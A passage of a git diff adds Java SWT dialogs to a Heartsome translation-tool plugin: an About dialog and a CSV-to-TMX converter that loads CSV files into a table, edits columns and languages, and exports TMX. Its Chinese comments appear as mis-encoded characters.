outputPath; + } + + public void setOutputPath(String outputPath) { + this.outputPath = outputPath; + } + + + public String getId() { + return id; + } + + public void setId(String id) { + this.id = id; + } + + @Override + public boolean equals(Object obj) { + if (obj instanceof PluginConfigBean) { + PluginConfigBean bean = (PluginConfigBean) obj; + + if (bean.getName().equals(this.name) && bean.getCommandLine().equals(this.commandLine) + && bean.getInput().equals(this.input) && bean.getOutput().equals(this.output) + && bean.getOutputPath().equals(this.outputPath) && bean.getShortcutKey().equals(this.shortcutKey)) { + return true; + } + } + return false; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/AboutDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/AboutDialog.java new file mode 100644 index 0000000..4718eb0 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/AboutDialog.java @@ -0,0 +1,71 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import net.heartsome.cat.ts.ui.plugin.AboutComposite; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +/** + * 关于对è¯æ¡†ï¼ˆè¡¨å¤´ä¸º"关于...",第一行为标题,第二行为 Logo,第三行为版本信æ¯ï¼Œç¬¬å››è¡Œä¸ºç‰ˆæƒä¿¡æ¯ï¼Œç¬¬äº”行为网å€ä¿¡æ¯) + * @author peason + * @version + * @since JDK1.6 + */ +public class AboutDialog extends Dialog { + + /** 第一行标题 */ + private String name; + + /** Logo 图片路径 */ + private String imagePath; + + /** ç‰ˆæœ¬ä¿¡æ¯ */ + private String version; + + /** + * 构造方法 + * @param parentShell + * @param name + * 第一行标题 + * @param imagePath + * Logo 图片路径 + * @param version + * ç‰ˆæœ¬ä¿¡æ¯ + */ + protected AboutDialog(Shell parentShell, String name, String imagePath, String version) { + super(parentShell); + this.name = name; + this.imagePath = imagePath; + this.version = version; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.AboutDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + GridLayoutFactory.fillDefaults().numColumns(1).extendedMargins(0, 0, 5, 5).spacing(0, 0).applyTo(parent); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(200, 250).grab(true, true).applyTo(parent); + new AboutComposite(parent, SWT.BORDER, name, imagePath, version); + return parent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + Composite cmp = parent.getParent(); + parent.dispose(); + cmp.layout(); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSV2TMXConverterDialog.java b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSV2TMXConverterDialog.java new file mode 100644 index 0000000..02f2b44 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.plugin/src/net/heartsome/cat/ts/ui/plugin/dialog/CSV2TMXConverterDialog.java @@ -0,0 +1,1007 @@ +package net.heartsome.cat.ts.ui.plugin.dialog; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.UnsupportedEncodingException; +import java.text.MessageFormat; +import java.util.Date; +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.Vector; + +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.ts.ui.plugin.PluginConstants; +import net.heartsome.cat.ts.ui.plugin.resource.Messages; +import net.heartsome.cat.ts.ui.plugin.util.PluginUtil; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.layout.GridDataFactory; +import org.eclipse.jface.layout.GridLayoutFactory; +import org.eclipse.jface.util.Util; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.ScrolledComposite; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.events.SelectionListener; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.program.Program; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.TableItem; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * CSV to TMX Converter 对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ +public class CSV2TMXConverterDialog extends Dialog { + + private static final Logger LOGGER = LoggerFactory.getLogger(LoggerFactory.class); + + /** 表格对象,用于展示 CSV 文件的内容 */ + private Table table; + + /** 显示行数的标签 */ + private Label lblRowCount; + + /** 显示列数的标签 */ + private Label lblColCount; + + /** Logo 图片路径 */ + private String imagePath; + + /** CSV 文件路径 */ + private String csvPath; + + /** CSV 文件的列分隔符 */ + private String colSeparator; + + /** CSV 文件的文本定界符 */ + private String textDelimiter; + + /** CSV 文件的字符集 */ + private String encoding; + + /** CSV 文件的列数 */ + private int cols; + + /** CSV 文件的行数 */ + private int rows; + + /** 导出 CSV 文件时所用到的æµå¯¹è±¡ */ + private FileOutputStream output; + + /** + * 构造方法 + * @param parentShell + */ + public CSV2TMXConverterDialog(Shell parentShell) { + super(parentShell); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.CSV2TMXConverterDialog.title")); + imagePath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_CSV2TMX_PATH); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + GridLayoutFactory.swtDefaults().spacing(0, 0).numColumns(1).applyTo(tparent); + GridDataFactory.fillDefaults().hint(750, 500).align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(tparent); + + createMenu(); + createToolBar(tparent); + + table = new Table(tparent, SWT.BORDER | SWT.H_SCROLL | SWT.V_SCROLL | SWT.FULL_SELECTION); + table.setLinesVisible(true); + table.setHeaderVisible(true); + table.setLayoutData(new GridData(GridData.FILL_BOTH)); + Composite cmpStatus = new Composite(tparent, SWT.BORDER); + cmpStatus.setLayout(new GridLayout(2, true)); + cmpStatus.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + lblRowCount = new Label(cmpStatus, SWT.None); + lblRowCount.setText(MessageFormat.format(Messages.getString("dialog.CSV2TMXConverterDialog.lblRowCount"), 0)); + lblRowCount.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + lblColCount = new Label(cmpStatus, SWT.None); + lblColCount.setText(MessageFormat.format(Messages.getString("dialog.CSV2TMXConverterDialog.lblColCount"), 0)); + lblColCount.setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + tparent.layout(); + getShell().layout(); + return tparent; + } + + /** + * 创建èœå• ; + */ + private void createMenu() { + Menu menu = new Menu(getShell(), SWT.BAR); + getShell().setMenuBar(menu); + getShell().pack(); + + Rectangle screenSize = Display.getDefault().getClientArea(); + Rectangle frameSize = getShell().getBounds(); + getShell().setLocation((screenSize.width - frameSize.width) / 2, (screenSize.height - frameSize.height) / 2); + + Menu fileMenu = new Menu(menu); + MenuItem fileItem = new MenuItem(menu, SWT.CASCADE); + fileItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.fileMenu")); + fileItem.setMenu(fileMenu); + + MenuItem openItem = new MenuItem(fileMenu, SWT.PUSH); + openItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.openItem")); + String openCSVPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH); + openItem.setImage(new Image(Display.getDefault(), openCSVPath)); + openItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem exportItem = new MenuItem(fileMenu, SWT.PUSH); + exportItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.exportItem")); + String exportPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_EXPORT_TBX_PATH); + exportItem.setImage(new Image(Display.getDefault(), exportPath)); + exportItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + export(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + new MenuItem(fileMenu, SWT.SEPARATOR); + + MenuItem exitItem = new MenuItem(fileMenu, SWT.PUSH); + exitItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.exitItem")); + exitItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + close(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu taskMenu = new Menu(menu); + MenuItem taskItem = new MenuItem(menu, SWT.CASCADE); + taskItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.taskMenu")); + taskItem.setMenu(taskMenu); + + MenuItem deleteColItem = new MenuItem(taskMenu, SWT.PUSH); + deleteColItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.deleteColItem")); + String deleteColPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_DELETE_COLUMN_PATH); + deleteColItem.setImage(new Image(Display.getDefault(), deleteColPath)); + deleteColItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + removeColumn(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem colPropertyItem = new MenuItem(taskMenu, SWT.PUSH); + colPropertyItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.colPropertyItem")); + String setColPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_SET_COLUMN_PATH); + colPropertyItem.setImage(new Image(Display.getDefault(), setColPath)); + colPropertyItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + selectLanguage(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + Menu helpMenu = new Menu(menu); + MenuItem helpItem = new MenuItem(menu, SWT.CASCADE); + helpItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.helpMenu")); + helpItem.setMenu(helpMenu); + + MenuItem helpContentItem = new MenuItem(helpMenu, SWT.PUSH); + helpContentItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.helpContentItem")); + String helpPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_HELP_PATH); + helpContentItem.setImage(new Image(Display.getDefault(), helpPath)); + helpContentItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + displayHelp(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + MenuItem aboutItem = new MenuItem(helpMenu, SWT.PUSH); + aboutItem.setText(Messages.getString("dialog.CSV2TMXConverterDialog.aboutItem")); + String imgPath = PluginUtil.getAbsolutePath(PluginConstants.LOGO_CSV2TMX_MENU_PATH); + aboutItem.setImage(new Image(Display.getDefault(), imgPath)); + aboutItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + AboutDialog dialog = new AboutDialog(getShell(), Messages + .getString("dialog.CSV2TMXConverterDialog.aboutItemName"), imagePath, Messages + .getString("dialog.CSV2TMXConverterDialog.version") + " " + PluginConstants.CSV2TMX_VERSION); + dialog.open(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + /** + * åˆ›å»ºå·¥å…·æ  + * @param parent + * ; + */ + private void createToolBar(Composite parent) { + Composite cmpToolBar = new Composite(parent, SWT.None); + GridLayoutFactory.fillDefaults().spacing(0, 0).numColumns(3).equalWidth(false).applyTo(cmpToolBar); + cmpToolBar.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + ToolBar toolBar = new ToolBar(cmpToolBar, SWT.NO_FOCUS | SWT.FLAT); + + ToolItem openToolItem = new ToolItem(toolBar, SWT.PUSH); + openToolItem.setToolTipText(Messages.getString("dialog.CSV2TMXConverterDialog.openToolItem")); + String openCSVPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_OPEN_CSV_PATH); + openToolItem.setImage(new Image(Display.getDefault(), openCSVPath)); + openToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + openFile(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem exporToolItem = new ToolItem(toolBar, SWT.PUSH); + exporToolItem.setToolTipText(Messages.getString("dialog.CSV2TMXConverterDialog.exporToolItem")); + String exportPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_EXPORT_TBX_PATH); + exporToolItem.setImage(new Image(Display.getDefault(), exportPath)); + exporToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + export(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem deleteColToolItem = new ToolItem(toolBar, SWT.PUSH); + deleteColToolItem.setToolTipText(Messages.getString("dialog.CSV2TMXConverterDialog.deleteColToolItem")); + String deleteColPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_DELETE_COLUMN_PATH); + deleteColToolItem.setImage(new Image(Display.getDefault(), deleteColPath)); + deleteColToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + removeColumn(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + ToolItem setColToolItem = new ToolItem(toolBar, SWT.PUSH); + setColToolItem.setToolTipText(Messages.getString("dialog.CSV2TMXConverterDialog.setColToolItem")); + String setColPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_SET_COLUMN_PATH); + setColToolItem.setImage(new Image(Display.getDefault(), setColPath)); + setColToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + selectLanguage(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + + new Label(cmpToolBar, SWT.None) + .setLayoutData(new GridData(GridData.FILL_HORIZONTAL | GridData.GRAB_HORIZONTAL)); + + ToolBar helpToolBar = new ToolBar(cmpToolBar, SWT.NO_FOCUS | SWT.FLAT); + ToolItem helpToolItem = new ToolItem(helpToolBar, SWT.RIGHT); + helpToolItem.setToolTipText(Messages.getString("dialog.CSV2TMXConverterDialog.helpToolBar")); + String helpPath = PluginUtil.getAbsolutePath(PluginConstants.PIC_HELP_PATH); + helpToolItem.setImage(new Image(Display.getDefault(), helpPath)); + helpToolItem.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent e) { + displayHelp(); + } + + public void widgetDefaultSelected(SelectionEvent e) { + + } + }); + } + + private void displayHelp() { + String curLang = CommonFunction.getSystemLanguage(); + if (Util.isWindows()) { + String help = "help" + File.separator + "csvconvdocs" + File.separator + "csvconverter.chm"; + if (curLang.equalsIgnoreCase("zh")) { + help = "help" + File.separator + "csvconvdocs" + File.separator + "csvconverter_zh-cn.chm"; + } + Program.launch(PluginUtil.getConfigurationFilePath(help)); + } else { + String help = "help" + File.separator + "csvconvdocs" + File.separator + "en" + File.separator + "toc.xml"; + if (curLang.equalsIgnoreCase("zh")) { + help = "help" + File.separator + "csvconvdocs" + File.separator + "zh-cn" + File.separator + "toc.xml"; + } + PluginHelpDialog dialog = new PluginHelpDialog(getShell(), PluginUtil.getConfigurationFilePath(help), + Messages.getString("dialog.CSV2TMXConverterDialog.helpDialogTitle")); + dialog.open(); + } + + } + + /** + * 打开 CSV 文件 ; + */ + private void openFile() { + CSVSettingDialog dialog = new CSVSettingDialog(getShell(), false, imagePath, null); + if (dialog.open() == IDialogConstants.OK_ID) { + csvPath = dialog.getCsvPath(); + colSeparator = dialog.getColSeparator(); + textDelimiter = dialog.getTextDelimiter(); + encoding = dialog.getEncoding(); + try { + cols = maxColumns(); + if (cols < 2) { + MessageDialog.openInformation(getShell(), + Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg1")); + return; + } + rows = 0; + int width = (table.getClientArea().width - table.getBorderWidth() * 2 - table.getVerticalBar() + .getSize().x) / cols; + if (width < 100) { + width = 100; + } + table.removeAll(); + int count = table.getColumnCount(); + for (int i = 0; i < count; i++) { + table.getColumn(0).dispose(); + } + + for (int i = 0; i < cols; i++) { + new TableColumn(table, SWT.NONE); + table.getColumn(i).setWidth(width); + table.getColumn(i).setText("" + (i + 1)); //$NON-NLS-1$ + } + fillTable(); + table.layout(true); + lblRowCount.setText(MessageFormat.format( + Messages.getString("dialog.CSV2TMXConverterDialog.lblRowCount"), rows)); + lblColCount.setText(MessageFormat.format( + Messages.getString("dialog.CSV2TMXConverterDialog.lblColCount"), cols)); + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.CSV2TMXConverterDialog.logger1"), e); + } catch (Exception e) { + LOGGER.error(Messages.getString("dialog.CSV2TMXConverterDialog.logger1"), e); + } + } + } + + /** + * 导出为 TMX 文件 ; + */ + private void export() { + if (table.getColumnCount() < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg2")); + return; + } + Vector languages = new Vector(cols); + for (int i = 0; i < cols; i++) { + languages.add(table.getColumn(i).getText()); + } + if (!LocaleService.verifyLanguages(languages)) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg3")); + return; + } + + ExportDialog exportDialog = new ExportDialog(getShell(), csvPath, languages); + if (exportDialog.open() == IDialogConstants.OK_ID) { + String exportFile = exportDialog.getFilePath(); + if (exportFile == null) { + return; + } + try { + File f = new File(exportFile); + if (!f.exists() || f.isDirectory()) { + f.createNewFile(); + } + output = new FileOutputStream(f); + String version = exportDialog.getTmxVersion(); + writeString("\n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + writeString("
    \n" + //$NON-NLS-1$ + "
    \n"); //$NON-NLS-1$ + writeString("\n"); //$NON-NLS-1$ + + for (int r = 0; r < rows; r++) { + int count = 0; + StringBuffer tuBuffer = new StringBuffer("\n"); + TableItem item = table.getItem(r); + for (int c = 0; c < cols; c++) { + String string = item.getText(c); + if (!string.trim().equals("")) { //$NON-NLS-1$ + if (version.equals("1.1") || version.equals("1.2")) { //$NON-NLS-1$ //$NON-NLS-2$ + tuBuffer.append("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } else { + tuBuffer.append("\n"); //$NON-NLS-1$ //$NON-NLS-2$ + } + tuBuffer.append("" + TextUtil.cleanString(string.trim()) + "\n\n"); //$NON-NLS-1$ //$NON-NLS-2$ + count++; + } + } + tuBuffer.append("\n"); //$NON-NLS-1$ + if (count > 0) { + writeString(tuBuffer.toString()); + } + } + writeString("\n"); //$NON-NLS-1$ + writeString("
    \n"); //$NON-NLS-1$ + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg4")); + } catch (FileNotFoundException e) { + LOGGER.error(Messages.getString("dialog.CSV2TMXConverterDialog.logger2"), e); + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.CSV2TMXConverterDialog.logger2"), e); + } finally { + try { + if (output != null) { + output.close(); + } + } catch (IOException e) { + LOGGER.error(Messages.getString("dialog.CSV2TMXConverterDialog.logger2"), e); + } + } + } + } + + /** + * 删除列 ; + */ + private void removeColumn() { + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg2")); + return; + } + Vector columns = new Vector(); + int count = table.getColumnCount(); + for (int i = 0; i < count; i++) { + columns.add(table.getColumn(i).getText()); + } + ColumnRemoveDialog removeDialog = new ColumnRemoveDialog(getShell(), columns, imagePath); + if (removeDialog.open() == IDialogConstants.OK_ID) { + Vector columnVector = removeDialog.getColumnVector(); + if (columnVector.size() == columns.size()) { + return; + } + for (int i = 0; i < count; i++) { + TableColumn col = table.getColumn(i); + boolean found = false; + for (int j = 0; j < columnVector.size(); j++) { + if (col.getText().equals(columnVector.get(j))) { + found = true; + break; + } + } + if (!found) { + table.getColumn(i).dispose(); + count--; + i--; + } + } + cols = table.getColumnCount(); + lblColCount.setText(MessageFormat.format( + Messages.getString("dialog.CSV2TMXConverterDialog.lblColCount"), cols)); //$NON-NLS-1$ + int width = (table.getClientArea().width - table.getBorderWidth() * 2 - table.getVerticalBar().getSize().x) + / cols; + if (width < 100) { + width = 100; + } + + for (int i = 0; i < cols; i++) { + TableColumn column = table.getColumn(i); + column.setWidth(width); + } + } + } + + /** + * 选择语言 ; + */ + private void selectLanguage() { + if (cols < 2) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.CSV2TMXConverterDialog.msgTitle"), + Messages.getString("dialog.CSV2TMXConverterDialog.msg4")); + return; + } + Vector languages = new Vector(cols); + for (int i = 0; i < cols; i++) { + languages.add(table.getColumn(i).getText()); + } + + LanguageSettingDialog langDialog = new LanguageSettingDialog(getShell(), languages); + if (langDialog.open() == IDialogConstants.OK_ID) { + languages = langDialog.getResultLang(); + for (int i = 0; i < cols; i++) { + table.getColumn(i).setText(languages.get(i)); + } + } + } + + /** + * @throws IOException + * @throws UnsupportedEncodingException + */ + private void fillTable() throws UnsupportedEncodingException, IOException { + InputStreamReader input = new InputStreamReader(new FileInputStream(csvPath), encoding); + BufferedReader buffer = new BufferedReader(input); + String line; + while ((line = buffer.readLine()) != null) { + createItems(line); + } + } + + private String createId() { + Date now = new Date(); + long lng = now.getTime(); + // wait until we are in the next millisecond + // before leaving to ensure uniqueness + Date next = new Date(); + while (next.getTime() == lng) { + next = null; + next = new Date(); + } + return "" + lng; //$NON-NLS-1$ + } + + /** + * @param line + */ + private void createItems(String line) { + int size = line.length(); + if (size == 0) { + return; + } + if (countColumns(line) != cols) { + return; + } + StringBuffer buffer = new StringBuffer(); + Vector vector = new Vector(); + String[] strings = new String[cols]; + boolean inDelimiters = false; + for (int i = 0; i < size; i++) { + String c = "" + line.charAt(i); //$NON-NLS-1$ + if (c.equals(textDelimiter)) { + inDelimiters = !inDelimiters; + continue; + } + if (!inDelimiters && c.equals(colSeparator)) { + vector.add(buffer.toString()); + buffer = null; + buffer = new StringBuffer(); + continue; + } + buffer.append(c); + } + if (!buffer.toString().equals("")) { //$NON-NLS-1$ + vector.add(buffer.toString()); + } + for (int i = 0; i < vector.size(); i++) { + strings[i] = vector.get(i); + } + for (int i = vector.size(); i < cols; i++) { + strings[i] = ""; //$NON-NLS-1$ + } + + TableItem item = new TableItem(table, SWT.NONE); + item.setText(strings); + rows++; + } + + private int maxColumns() throws IOException { + int max = 0; + InputStreamReader input = new InputStreamReader(new FileInputStream(csvPath), encoding); + BufferedReader buffer = new BufferedReader(input); + Hashtable table1 = new Hashtable(); + String line = buffer.readLine(); + while (line != null) { + int i = countColumns(line); + if (table1.containsKey("" + i)) { //$NON-NLS-1$ + int count = table1.get("" + i).intValue() + 1; //$NON-NLS-1$ + table1.put("" + i, new Integer(count)); //$NON-NLS-1$ + } else { + table1.put("" + i, new Integer(1)); //$NON-NLS-1$ + } + line = buffer.readLine(); + } + Enumeration e = table1.keys(); + String key = ""; //$NON-NLS-1$ + while (e.hasMoreElements()) { + String s = e.nextElement(); + int value = table1.get(s).intValue(); + if (value > max) { + max = value; + key = s; + } + } + return Integer.parseInt(key); + } + + private int countColumns(String line) { + int size = line.length(); + if (size == 0) { + return 0; + } + int count = 1; + boolean inDelimiters = false; + for (int i = 0; i < size; i++) { + String c = "" + line.charAt(i); //$NON-NLS-1$ + if (c.equals(textDelimiter)) { + inDelimiters = !inDelimiters; + } + if (!inDelimiters && c.equals(colSeparator)) { + count++; + } + } + return count; + } + + /** + * @param string + * @throws IOException + * @throws UnsupportedEncodingException + */ + private void writeString(String string) throws UnsupportedEncodingException, IOException { + output.write(string.getBytes("UTF-8")); //$NON-NLS-1$ + } + + /** + * 导出为 TMX 文件对è¯æ¡† + * @author peason + * @version + * @since JDK1.6 + */ + class ExportDialog extends Dialog { + + /** 导出文件路径 */ + private String filePath; + + /** è¯­è¨€é›†åˆ */ + private Vector languages; + + /** 路径文本框 */ + private Text txtFile; + + /** æºè¯­è¨€ä¸‹æ‹‰æ¡† */ + private Combo cmbLang; + + /** TMX 版本下拉框 */ + private Combo cmbTMXVersion; + + /** æºè¯­è¨€ */ + private String lang; + + /** TMX 版本 */ + private String tmxVersion; + + protected ExportDialog(Shell parentShell, String filePath, Vector languages) { + super(parentShell); + this.filePath = filePath; + this.languages = languages; + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.title")); + newShell.setImage(new Image(Display.getDefault(), imagePath)); + } + + @Override + protected Control createDialogArea(Composite parent) { + Composite tparent = (Composite) super.createDialogArea(parent); + tparent.setLayout(new GridLayout(3, false)); + GridDataFactory.fillDefaults().align(SWT.FILL, SWT.FILL).hint(350, 150).grab(true, true).applyTo(tparent); + + new Label(tparent, SWT.None).setText(Messages + .getString("dialog.CSV2TMXConverterDialog.ExportDialog.lblTMX")); + txtFile = new Text(tparent, SWT.BORDER); + txtFile.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + txtFile.setEditable(false); + if (filePath != null) { + if (filePath.indexOf(".") != -1) { + txtFile.setText(filePath.substring(0, filePath.lastIndexOf(".")) + ".tmx"); + } else { + txtFile.setText(filePath + ".tmx"); + } + filePath = txtFile.getText(); + } + Button btnBrowse = new Button(tparent, SWT.None); + btnBrowse.setText(Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.btnBrowse")); + btnBrowse.addSelectionListener(new SelectionListener() { + + public void widgetSelected(SelectionEvent arg0) { + FileDialog dialog = new FileDialog(getShell(), SWT.SAVE); + dialog.setText(Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.dialogTitle")); + String extensions[] = { "*.tmx", "*" }; //$NON-NLS-1$ //$NON-NLS-2$ + String names[] = { + Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.filterName1"), Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.filterName2") }; //$NON-NLS-1$ //$NON-NLS-2$ + dialog.setFilterNames(names); + dialog.setFilterExtensions(extensions); + String fileSep = System.getProperty("file.separator"); + if (txtFile.getText() != null && !txtFile.getText().trim().equals("")) { + dialog.setFilterPath(txtFile.getText().substring(0, txtFile.getText().lastIndexOf(fileSep))); + dialog.setFileName(txtFile.getText().substring(txtFile.getText().lastIndexOf(fileSep) + 1)); + } else { + dialog.setFilterPath(System.getProperty("user.home")); + } + filePath = dialog.open(); + if (filePath != null) { + txtFile.setText(filePath); + } + } + + public void widgetDefaultSelected(SelectionEvent arg0) { + + } + }); + + Group optionsGrp = new Group(tparent, SWT.None); + optionsGrp.setText(Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.optionsGrp")); + GridDataFactory.fillDefaults().span(3, 1).align(SWT.FILL, SWT.FILL).grab(true, true).applyTo(optionsGrp); + optionsGrp.setLayout(new GridLayout(2, false)); + createLabel(optionsGrp, Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.src")); + cmbLang = new Combo(optionsGrp, SWT.READ_ONLY); + cmbLang.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + String langList[] = new String[languages.size() + 1]; + langList[0] = "*all*"; + for (int i = 0; i < languages.size(); i++) { + langList[i + 1] = languages.get(i); + } + cmbLang.setItems(langList); + cmbLang.select(0); + + createLabel(optionsGrp, Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.versionTMX")); + cmbTMXVersion = new Combo(optionsGrp, SWT.READ_ONLY); + cmbTMXVersion.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + String levels[] = { "TMX 1.4", "TMX 1.3", "TMX 1.2", "TMX 1.1" }; + cmbTMXVersion.setItems(levels); + cmbTMXVersion.select(0); + + return tparent; + } + + @Override + protected void createButtonsForButtonBar(Composite parent) { + super.createButtonsForButtonBar(parent); + getButton(IDialogConstants.OK_ID).setText( + Messages.getString("dialog.CSV2TMXConverterDialog.ExportDialog.ok")); + } + + @Override + protected void okPressed() { + setLang(cmbLang.getText()); + String version = ""; + if (cmbTMXVersion.getSelectionIndex() == 0) { + version = "1.4"; + } else if (cmbTMXVersion.getSelectionIndex() == 1) { + version = "1.3"; + } else if (cmbTMXVersion.getSelectionIndex() == 2) { + version = "1.2"; + } else if (cmbTMXVersion.getSelectionIndex() == 3) { + version = 